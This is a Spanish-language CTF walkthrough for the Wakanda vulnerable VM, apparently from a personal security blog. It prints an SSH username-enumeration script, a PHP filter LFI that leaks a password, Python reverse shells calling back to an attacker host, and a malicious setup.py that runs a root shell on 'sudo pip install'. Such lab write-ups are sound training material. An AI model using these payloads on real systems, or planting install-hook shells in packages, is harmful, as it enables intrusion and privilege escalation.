Esta pagina se ve mejor con JavaScript habilitado

Wakanda

 ·  🎃 kr0m

Un CTF mas resuelto, esta vez se trata de un LFI, un servicio de systemd mal configurado y sudo configurado de forma incorrecta permitiendo ejecutar pip.

Nos bajamos la VM de vulnhub o desde alfaexploit:
https://www.vulnhub.com/entry/wakanda-1,251/
temple-of-DOOM-v1.ova

Escaneamos los puertos con nmap:

NZT48 ☢ /home/kr0m> nmap -sT 192.168.1.2 -p 0-65535

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-10 16:17 CEST
Nmap scan report for 192.168.1.2
Host is up (0.00021s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3333/tcp  open  dec-notes
38482/tcp open  unknown
MAC Address: 08:00:27:44:57:EB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds

Hay un ssh en el puerto 333:

NZT48 ✺ ~> curl 192.168.1.2:3333

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4
Protocol mismatch.

Comprobamos algunos usuarios sacados de la web en base a palabras que aparecen en ella: Made by @mamadou

vi ssh-check-username.py

#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.

import argparse
import logging
import paramiko
import socket
import sys

class InvalidUsername(Exception):
    pass

def add_boolean(*args, **kwargs):
    pass

old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)

def userauth_failure(*args, **kwargs):
    raise InvalidUsername()

paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 root
[+] Valid username
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 wakanda
[*] Invalid username
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 vibranium
[*] Invalid username
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 mamadou
[+] Valid username

Con curl detectamos un posible LFI :

NZT48 ✺ ~> curl -v 192.168.1.2:80

< Server: Apache/2.4.10 (Debian)
a class="nav-link active" href="?lang=fr"

Probemos manualmente:

NZT48 ✺ ~> curl http://192.168.1.2/?lang=fr

 Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute! </p>

Debe de estar haciendo includes del NOMBRE.php pero si incluyo index no sale nada:

NZT48 ✺ ~> curl http://192.168.1.2/?lang=index

En cambio si empleo el truco fllter de php:

wget "http://192.168.1.2/?lang=php://filter/convert.base64-encode/resource=index" -O index

Podemos ver el código fuente del index:

NZT48 ✺ ~> base64 -d index

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GETlang))
{
include($_GETlang.".php");
}

?>

Probemos a utilizar ese password con el usuario mamadou:

NZT48 ✺ ~> ssh mamadou@192.168.1.2 -p3333
Niamey4Ever227!!!

Me entra en un python:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

Invocamos la shell desde python:

>>> import pty; pty.spawn("/bin/bash")

mamadou@Wakanda1:~$ id

uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

Busquemos brechas en el sistema:

Este fichero es escrivible:

cat /srv/.antivirus.py
open(’/tmp/test’,‘w’).write(’test’)

Hay una unidad de systemd que lo utiliza:

grep -r antivirus /lib/systemd/system/antivirus.service

ExecStart=/usr/bin/env python /srv/.antivirus.py
systemctl list-unit-files
mamadou@Wakanda1:/etc/systemd$ systemctl cat antivirus.service
# /lib/systemd/system/antivirus.service
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py

[Install]
WantedBy=multi-user.target
Modificamos el script para que nos sirva una rshell:
NZT48 ✺ ~> nc -l -p 1234
vi /srv/.antivirus.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Como la unidad tiene restart=always, tan solo esperamos 300s(5m):

NZT48 ✺ ~> nc -l -p 1234

/bin/sh: 0: can’t access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)

Metemos nuestra ssh key para poder acceder de forma mas cómoda:

$ cd /home/devops
mkdir .ssh
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf juanjo@skynet” > .ssh/authorized_keys

NZT48 ✺ ~> ssh devops@192.168.1.2 -p3333
devops@Wakanda1:~$

Seguramente podamos abusar de pip:

devops@Wakanda1:~$ sudo -l

User devops may run the following commands on Wakanda1:
 (ALL) NOPASSWD: /usr/bin/pip

pip tiene el setuid bit habilitado:

 -rwxr-sr-- 1 root developer 281 Feb 27 2015 /usr/bin/pip

Si conseguimos instalar un paquete de pip seguramente tengamos root:
https://python-packaging.readthedocs.io/en/latest/

Vamos a generar nuestro paquete:

mkdir kr0mRS
cd kr0mRS
mkdir kr0mRS
cd kr0mRS

vi init.py
def rs():
 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
cd ..
vi setup.py
from setuptools import setup

setup(name='kr0mRS',
      version='0.1',
      description='kr0mRS',
      url='http://github.com/kr0m/RS',
      author='kr0m',
      author_email='kr0m@alfaexploit.com',
      license='MIT',
      packages=['kr0mRS'],
      zip_safe=False)

Ponemos a la escucha un netcat:

NZT48 ✺ ~> nc -l -p 1234

Instalamos mediante pip nuestro paquete:

devops@Wakanda1:~/kr0mRS$ sudo pip install .

Unpacking /home/devops/kr0mRS
 Running setup.py (path:/tmp/pip-AIC4WL-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
 
Installing collected packages: kr0mRS
 Running setup.py install for kr0mRS
 
Successfully installed kr0mRS
Cleaning up...

Importamos la librería y ejecutamos la función rs:

devops@Wakanda1:~/kr0mRS$ python
>>> import kr0mRS
>>> kr0mRS.rs()

Y obtenemos nuestra shell pero con el usuario devops:

NZT48 ✺ ~> nc -l -p 1234
id

/bin/sh: 0: can't access tty; job control turned off
$ uid=1001(devops) gid=1002(developer) groups=1002(developer)

Esto es debido a que solo la parte de setup del paquete es ejecutada como root, por lo tanto debemos poner en el setup el código de la RS:

vi setup.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

from setuptools import setup

setup(name='kr0mRS',
      version='0.1',
      description='kr0mRS',
      url='http://github.com/kr0m/RS',
      author='kr0m',
      author_email='kr0m@alfaexploit.com',
      license='MIT',
      packages=['kr0mRS'],
      zip_safe=False)

Volvemos a poner nuestro netcat a la escucha:

NZT48 ✺ ~> nc -l -p 1234

Ahora no hace falta importar la librería ni ejecutar la función ya que el setup se ejecuta de forma automática cuando se instala el paquete de pip:

devops@Wakanda1:~/kr0mRS$ sudo pip install .

Unpacking /home/devops/kr0mRS
 Running setup.py (path:/tmp/pip-7PvLGw-build/setup.py) egg_info for package from file:///home/devops/kr0mRS

Y recibimos la shell de root:

NZT48 ✺ ~> nc -l -p 1234
# id

uid=0(root) gid=0(root) groups=0(root)
Si te ha gustado el artículo puedes invitarme a un RedBull aquí